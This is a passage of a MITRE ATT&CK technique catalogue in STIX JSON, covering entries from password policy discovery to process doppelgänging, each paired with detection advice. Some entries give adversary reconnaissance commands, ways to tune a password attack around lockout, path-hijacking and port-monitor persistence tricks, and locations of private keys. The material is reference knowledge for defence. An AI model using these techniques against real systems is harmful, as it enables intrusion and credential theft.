detailed information about the password policy used within an enterprise network. This would help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).\n\nPassword policies can be set and discovered on Windows, Linux, and macOS systems. (Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies)\n\n### Windows\n* net accounts\n* net accounts /domain\n\n### Linux\n* chage -l \n* cat /etc/pam.d/common-password\n\n### macOS\n* pwpolicy getaccountpolicies", + "x_mitre_permissions_required": [ + "User" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1034", + "source_name": "mitre-attack", + "external_id": "T1034" + }, + { + "url": "https://capec.mitre.org/data/definitions/159.html", + "source_name": "capec", + "external_id": "CAPEC-159" + }, + { + "url": "http://support.microsoft.com/KB/103000", + "source_name": "Microsoft Subkey", + "description": "Microsoft. (n.d.). CurrentControlSet\\Services Subkey Entries. Retrieved November 30, 2014." + }, + { + "url": "https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464", + "source_name": "Baggett 2012", + "description": "Baggett, M. (2012, November 8). Help eliminate unquoted path vulnerabilities. Retrieved December 4, 2014." + }, + { + "url": "http://msdn.microsoft.com/en-us/library/ms682425", + "source_name": "Microsoft CreateProcess", + "description": "Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014." + }, + { + "url": "http://technet.microsoft.com/en-us/library/cc723564.aspx#XSLTsection127121120120", + "source_name": "Hill NT Shell", + "description": "Hill, T. (n.d.). Windows NT Command Shell. Retrieved December 5, 2014." + }, + { + "url": "http://msdn.microsoft.com/en-us/library/ms687393", + "source_name": "Microsoft WinExec", + "description": "Microsoft. (n.d.). WinExec function. Retrieved December 5, 2014." + }, + { + "url": "https://blogs.technet.microsoft.com/srd/2014/04/08/ms14-019-fixing-a-binary-hijacking-via-cmd-or-bat-file/", + "source_name": "TechNet MS14-019", + "description": "Nagaraju, S. (2014, April 8). MS14-019 \u2013 Fixing a binary hijacking via .cmd or .bat file. Retrieved July 25, 2016." + }, + { + "url": "https://msdn.microsoft.com/en-us/library/fd7hxfdd.aspx", + "source_name": "MSDN Environment Property", + "description": "Microsoft. (n.d.). Environment Property. Retrieved July 27, 2016." + }, + { + "url": "https://securityboulevard.com/2018/04/windows-privilege-escalation-unquoted-services/", + "source_name": "SecurityBoulevard Unquoted Services APR 2018", + "description": "HackHappy. (2018, April 23). Windows Privilege Escalation \u2013 Unquoted Services. Retrieved August 10, 2018." + }, + { + "url": "https://www.sploitspren.com/2018-01-26-Windows-Privilege-Escalation-Guide/", + "source_name": "SploitSpren Windows Priv Jan 2018", + "description": "McFarland, R. (2018, January 26). Windows Privilege Escalation Guide. Retrieved August 10, 2018." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Stefan Kanthak" + ], + "x_mitre_data_sources": [ + "File monitoring", + "Process monitoring" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious. \n\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "persistence", + "kill_chain_name": "mitre-attack" + }, + { + "phase_name": "privilege-escalation", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--c4ad009b-6e13-4419-8d21-918a1652de02", + "name": "Path Interception", + "created": "2017-05-31T21:30:36.140Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Path interception occurs when an executable is placed in a specific path so that it is executed by an application instead of the intended target. One example of this was the use of a copy of [cmd](https://attack.mitre.org/software/S0106) in the current working directory of a vulnerable application that loads a CMD or BAT file with the CreateProcess function. (Citation: TechNet MS14-019)\n\nThere are multiple distinct weaknesses or misconfigurations that adversaries may take advantage of when performing path interception: unquoted paths, path environment variable misconfigurations, and search order hijacking. The first vulnerability deals with full program paths, while the second and third occur when program paths are not specified. These techniques can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.\n\n### Unquoted Paths\nService paths (stored in Windows Registry keys) (Citation: Microsoft Subkey) and shortcut paths are vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., C:\\unsafe path with space\\program.exe vs. \"C:\\safe path with space\\program.exe\"). (Citation: Baggett 2012) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is C:\\program files\\myapp.exe, an adversary may create a program at C:\\program.exe that will be run instead of the intended program. (Citation: SecurityBoulevard Unquoted Services APR 2018) (Citation: SploitSpren Windows Priv Jan 2018)\n\n### PATH Environment Variable Misconfiguration\nThe PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, %SystemRoot%\\system32 (e.g., C:\\Windows\\system32), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.\n\nFor example, if C:\\example path precedes C:\\Windows\\system32 is in the PATH environment variable, a program that is named net.exe and placed in C:\\example path will be called instead of the Windows system \"net\" when \"net\" is executed from the command-line.\n\n### Search Order Hijacking\nSearch order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. The search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Hill NT Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.\n\nFor example, \"example.exe\" runs \"cmd.exe\" with the command-line argument net user. An adversary may place a program called \"net.exe\" within the same directory as example.exe, \"net.exe\" will be run instead of the Windows system utility net. In addition, if an adversary places a program called \"net.com\" in the same directory as \"net.exe\", then cmd.exe /C net user will execute \"net.com\" instead of \"net.exe\" due to the order of executable extensions defined under PATHEXT. (Citation: MSDN Environment Property)\n\nSearch order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038).", + "x_mitre_effective_permissions": [ + "User", + "Administrator", + "SYSTEM" + ], + "x_mitre_permissions_required": [ + "User", + "Administrator", + "SYSTEM" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1120", + "source_name": "mitre-attack", + "external_id": "T1120" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "discovery", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643", + "name": "Peripheral Device Discovery", + "created": "2017-05-31T21:31:28.471Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.", + "x_mitre_permissions_required": [ + "User", + "Administrator", + "SYSTEM" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1069", + "source_name": "mitre-attack", + "external_id": "T1069" + }, + { + "url": "https://capec.mitre.org/data/definitions/576.html", + "source_name": "capec", + "external_id": "CAPEC-576" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_data_sources": [ + "API monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "discovery", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce", + "name": "Permission Groups Discovery", + "created": "2017-05-31T21:30:55.471Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Adversaries may attempt to find local system or domain-level groups and permissions settings. \n\n### Windows\n\nExamples of commands that can list groups are net group /domain and net localgroup using the [Net](https://attack.mitre.org/software/S0039) utility.\n\n### Mac\n\nOn Mac, this same thing can be accomplished with the dscacheutil -q group for the domain, or dscl . -list /Groups for local groups.\n\n### Linux\n\nOn Linux, local groups can be enumerated with the groups command and domain groups via the ldapsearch command.", + "x_mitre_permissions_required": [ + "User" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1150", + "source_name": "mitre-attack", + "external_id": "T1150" + }, + { + "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/", + "source_name": "Sofacy Komplex Trojan", + "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_defense_bypassed": [ + "Application whitelisting", + "Process whitelisting", + "Whitelisting by file name or path" + ], + "x_mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "modified": "2019-02-19T16:27:45.214Z", + "x_mitre_detection": "File system monitoring can determine if plist files are being modified. Users should not have permission to modify these in most cases. Some software tools like \"Knock Knock\" can detect persistence mechanisms and point to the specific files that are being referenced. This can be helpful to see what is actually being executed.\n\nMonitor process execution for abnormal process execution resulting from modified plist files. Monitor utilities used to modify plist files or that take a plist file as an argument, which may indicate suspicious activity.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "macOS" + ], + "kill_chain_phases": [ + { + "phase_name": "defense-evasion", + "kill_chain_name": "mitre-attack" + }, + { + "phase_name": "persistence", + "kill_chain_name": "mitre-attack" + }, + { + "phase_name": "privilege-escalation", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--06780952-177c-4247-b978-79c357fb311f", + "name": "Plist Modification", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are UTF-8 encoded and formatted like XML documents via a series of keys surrounded by < >. They detail when programs should execute, file paths to the executables, program arguments, required OS permissions, and many others. plists are located in certain locations depending on their purpose such as /Library/Preferences (which execute with elevated privileges) and ~/Library/Preferences (which execute with a user's privileges). \nAdversaries can modify these plist files to point to their own code, can use them to execute their code in the context of another user, bypass whitelisting procedures, or even use them as a persistence mechanism. (Citation: Sofacy Komplex Trojan)", + "x_mitre_permissions_required": [ + "User", + "Administrator" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1205", + "source_name": "mitre-attack", + "external_id": "T1205" + }, + { + "url": "https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631", + "source_name": "Hartrell cd00r 2002", + "description": "Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible backdoor. Retrieved October 13, 2018." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_network_requirements": true, + "x_mitre_defense_bypassed": [ + "Defensive network service scanning" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Record network packets sent to and from the system, looking for extraneous packets that do not belong to established flows.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS" + ], + "kill_chain_phases": [ + { + "phase_name": "defense-evasion", + "kill_chain_name": "mitre-attack" + }, + { + "phase_name": "persistence", + "kill_chain_name": "mitre-attack" + }, + { + "phase_name": "command-and-control", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--451a9977-d255-43c9-b431-66de80130c8c", + "name": "Port Knocking", + "created": "2018-04-18T17:59:24.739Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Port Knocking is a well-established method used by both defenders and adversaries to hide open ports from access. To enable a port, an adversary sends a series of packets with certain characteristics before the port will be opened. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports, but can involve unusual flags, specific strings or other unique characteristics. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software. \n\nThis technique has been observed to both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.", + "x_mitre_permissions_required": [ + "User" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1013", + "source_name": "mitre-attack", + "external_id": "T1013" + }, + { + "url": "http://msdn.microsoft.com/en-us/library/dd183341", + "source_name": "AddMonitor", + "description": "Microsoft. (n.d.). AddMonitor function. Retrieved November 12, 2014." + }, + { + "url": "https://www.defcon.org/images/defcon-22/dc-22-presentations/Bloxham/DEFCON-22-Brady-Bloxham-Windows-API-Abuse-UPDATED.pdf", + "source_name": "Bloxham", + "description": "Bloxham, B. (n.d.). Getting Windows to Play with Itself [PowerPoint slides]. Retrieved November 12, 2014." + }, + { + "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902", + "source_name": "TechNet Autoruns", + "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Stefan Kanthak", + "Travis Smith, Tripwire" + ], + "x_mitre_data_sources": [ + "File monitoring", + "API monitoring", + "DLL monitoring", + "Windows Registry", + "Process monitoring" + ], + "modified": "2019-04-03T15:01:55.103Z", + "x_mitre_detection": "* Monitor process API calls to (Citation: AddMonitor).\n* Monitor DLLs that are loaded by spoolsv.exe for DLLs that are abnormal.\n* New DLLs written to the System32 directory that do not correlate with known good software or patching may be suspicious.\n* Monitor Registry writes to HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors.\n* Run the Autoruns utility, which checks for this Registry key as a persistence mechanism (Citation: TechNet Autoruns)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "persistence", + "kill_chain_name": "mitre-attack" + }, + { + "phase_name": "privilege-escalation", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--1f47e2fd-fa77-4f2f-88ee-e85df308f125", + "name": "Port Monitors", + "created": "2017-05-31T21:30:26.057Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "A port monitor can be set through the (Citation: AddMonitor) API call to set a DLL to be loaded at startup. (Citation: AddMonitor) This DLL can be located in C:\\Windows\\System32 and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions. (Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors. \n\nThe Registry key contains entries for the following:\n\n* Local Port\n* Standard TCP/IP Port\n* USB Monitor\n* WSD Port\n\nAdversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.", + "x_mitre_effective_permissions": [ + "SYSTEM" + ], + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1086", + "source_name": "mitre-attack", + "external_id": "T1086" + }, + { + "url": "https://technet.microsoft.com/en-us/scriptcenter/dd742419.aspx", + "source_name": "TechNet PowerShell", + "description": "Microsoft. (n.d.). Windows PowerShell Scripting. Retrieved April 28, 2016." + }, + { + "url": "https://github.com/mattifestation/PowerSploit", + "source_name": "Powersploit", + "description": "PowerSploit. (n.d.). Retrieved December 4, 2014." + }, + { + "url": "https://github.com/jaredhaight/PSAttack", + "source_name": "Github PSAttack", + "description": "Haight, J. (2016, April 21). PS>Attack. Retrieved June 1, 2016." + }, + { + "url": "http://www.sixdub.net/?p=367", + "source_name": "Sixdub PowerPick Jan 2016", + "description": "Warner, J.. (2015, January 6). Inexorable PowerShell \u2013 A Red Teamer\u2019s Tale of Overcoming Simple AppLocker Policies. Retrieved December 8, 2018." + }, + { + "url": "https://silentbreaksecurity.com/powershell-jobs-without-powershell-exe/", + "source_name": "SilentBreak Offensive PS Dec 2015", + "description": "Christensen, L.. (2015, December 28). The Evolution of Offensive PowerShell Invocation. Retrieved December 8, 2018." + }, + { + "url": "https://blogs.msdn.microsoft.com/kebab/2014/04/28/executing-powershell-scripts-from-c/", + "source_name": "Microsoft PSfromCsharp APR 2014", + "description": "Babinec, K. (2014, April 28). Executing PowerShell scripts from C#. Retrieved April 22, 2019." + }, + { + "url": "http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf", + "source_name": "Malware Archaeology PowerShell Cheat Sheet", + "description": "Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016." + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html", + "source_name": "FireEye PowerShell Logging 2016", + "description": "Dunwoody, M. (2016, February 11). GREATER VISIBILITY THROUGH POWERSHELL LOGGING. Retrieved February 16, 2016." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Praetorian" + ], + "x_mitre_data_sources": [ + "PowerShell logs", + "Loaded DLLs", + "DLL monitoring", + "Windows Registry", + "File monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "modified": "2019-04-25T03:09:01.808Z", + "x_mitre_detection": "If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity.\n\nMonitor for loading and/or execution of artifacts associated with PowerShell specific assemblies, such as System.Management.Automation.dll (especially to unusual process names/locations). (Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)\n\nIt is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution (which is applied to .NET invocations). (Citation: Malware Archaeology PowerShell Cheat Sheet) PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features. (Citation: FireEye PowerShell Logging 2016) An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "execution", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "name": "PowerShell", + "created": "2017-05-31T21:31:06.512Z", + "x_mitre_version": "1.1", + "x_mitre_remote_support": true, + "type": "attack-pattern", + "description": "PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer. \n\nPowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.\n\nAdministrator permissions are required to use PowerShell to connect to remote systems.\n\nA number of PowerShell-based offensive testing tools are available, including [Empire](https://attack.mitre.org/software/S0363), PowerSploit, (Citation: Powersploit) and PSAttack. (Citation: Github PSAttack)\n\nPowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell's underlying System.Management.Automation assembly exposed through the .NET framework and Windows Common Language Interface (CLI). (Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015) (Citation: Microsoft PSfromCsharp APR 2014)", + "x_mitre_permissions_required": [ + "User", + "Administrator" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1145", + "source_name": "mitre-attack", + "external_id": "T1145" + }, + { + "url": "https://en.wikipedia.org/wiki/Public-key_cryptography", + "source_name": "Wikipedia Public Key Crypto", + "description": "Wikipedia. (2017, June 29). Public-key cryptography. Retrieved July 5, 2017." + }, + { + "url": "https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/unveilingthemask_v1.0.pdf", + "source_name": "Kaspersky Careto", + "description": "Kaspersky Labs. (2014, February 11). Unveiling \u201cCareto\u201d - The Masked APT. Retrieved July 5, 2017." + }, + { + "url": "https://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/", + "source_name": "Palo Alto Prince of Persia", + "description": "Bar, T., Conant, S., Efraim, L. (2016, June 28). Prince of Persia \u2013 Game Over. Retrieved July 5, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Itzik Kotler, SafeBreach" + ], + "x_mitre_data_sources": [ + "File monitoring" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Monitor access to files and directories related to cryptographic keys and certificates as a means for potentially detecting access patterns that may indicate collection and exfiltration activity. Collect authentication logs and look for potentially abnormal activity that may indicate improper use of keys or certificates for remote authentication.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "credential-access", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--56ff457d-5e39-492b-974c-dfd2b8603ffe", + "name": "Private Keys", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures. (Citation: Wikipedia Public Key Crypto)\n\nAdversaries may gather private keys from compromised systems for use in authenticating to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email. Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. Adversaries may also look in common key directories, such as ~/.ssh for SSH keys on * nix-based systems or C:\\Users\\(username)\\.ssh\\ on Windows.\n\nPrivate keys should require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line.\n\nAdversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates. (Citation: Kaspersky Careto) (Citation: Palo Alto Prince of Persia)", + "x_mitre_permissions_required": [ + "User" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1057", + "source_name": "mitre-attack", + "external_id": "T1057" + }, + { + "url": "https://capec.mitre.org/data/definitions/573.html", + "source_name": "capec", + "external_id": "CAPEC-573" + } + ], + "x_mitre_data_sources": [ + "Process monitoring", + "Process command-line parameters" + ], + "x_mitre_system_requirements": [ + "Administrator, SYSTEM may provide better process ownership details" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events that look like process discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "discovery", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "name": "Process Discovery", + "created": "2017-05-31T21:30:48.728Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software running on systems within the network.\n\n### Windows\n\nAn example command that would obtain details on processes is \"tasklist\" using the [Tasklist](https://attack.mitre.org/software/S0057) utility.\n\n### Mac and Linux\n\nIn Mac and Linux, this is accomplished with the ps command.", + "x_mitre_permissions_required": [ + "User", + "Administrator", + "SYSTEM" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1186", + "source_name": "mitre-attack", + "external_id": "T1186" + }, + { + "url": "https://msdn.microsoft.com/library/windows/desktop/bb968806.aspx", + "source_name": "Microsoft TxF", + "description": "Microsoft. (n.d.). Transactional NTFS (TxF). Retrieved December 20, 2017." + }, + { + "url": "https://msdn.microsoft.com/library/windows/desktop/dd979526.aspx", + "source_name": "Microsoft Basic TxF Concepts", + "description": "Microsoft. (n.d.). Basic TxF Concepts. Retrieved December 20, 2017." + }, + { + "url": "https://msdn.microsoft.com/library/windows/desktop/aa365738.aspx", + "source_name": "Microsoft Where to use TxF", + "description": "Microsoft. (n.d.). When to Use Transactional NTFS. Retrieved December 20, 2017." + }, + { + "url": "https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf", + "source_name": "BlackHat Process Doppelg\u00e4nging Dec 2017", + "description": "Liberman, T. & Kogan, E. (2017, December 7). Lost in Transaction: Process Doppelg\u00e4nging. Retrieved December 20, 2017." + }, + { + "url": "https://hshrzd.wordpress.com/2017/12/18/process-doppelganging-a-new-way-to-impersonate-a-process/", + "source_name": "hasherezade Process Doppelg\u00e4nging Dec 2017", + "description": "hasherezade. (2017, December 18). Process Doppelg\u00e4nging \u2013 a new way to impersonate a process. Retrieved December 20, 2017." + }, + { + "url": "https://msdn.microsoft.com/library/windows/hardware/ff559951.aspx", + "source_name": "Microsoft PsSetCreateProcessNotifyRoutine routine", + "description": "Microsoft. (n.d.). PsSetCreateProcessNotifyRoutine routine. Retrieved December 20, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM", + "User" + ], + "x_mitre_data_sources": [ + "API monitoring", + "Process monitoring" + ], + "modified": "2018-10-31T13:45:13.024Z", + "x_mitre_detection": "Monitor and analyze calls to CreateTranscation, CreateFileTransacted, RollbackTransaction, and other rarely used functions indicative of TxF activity. Process Doppelg\u00e4nging also invokes an outdated and undocumented implementation of the Windows process loader via calls to NtCreateProcessEx and NtCreateThreadEx as well as API calls used to modify memory within another process, such as WriteProcessMemory. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017) (Citation: hasherezade Process Doppelg\u00e4nging Dec 2017)\n\nScan file objects reported during the PsSetCreateProcessNotifyRoutine, (Citation: Microsoft PsSetCreateProcessNotifyRoutine routine) which triggers a callback whenever a process is created or deleted, specifically looking for file objects with enabled write access. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017) Also consider comparing file objects loaded in memory to the corresponding file on disk. (Citation: hasherezade Process Doppelg\u00e4nging Dec 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "defense-evasion", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--c1a452f3-6499-4c12-b7e9-a6a0a102af76", + "name": "Process Doppelg\u00e4nging", + "created": 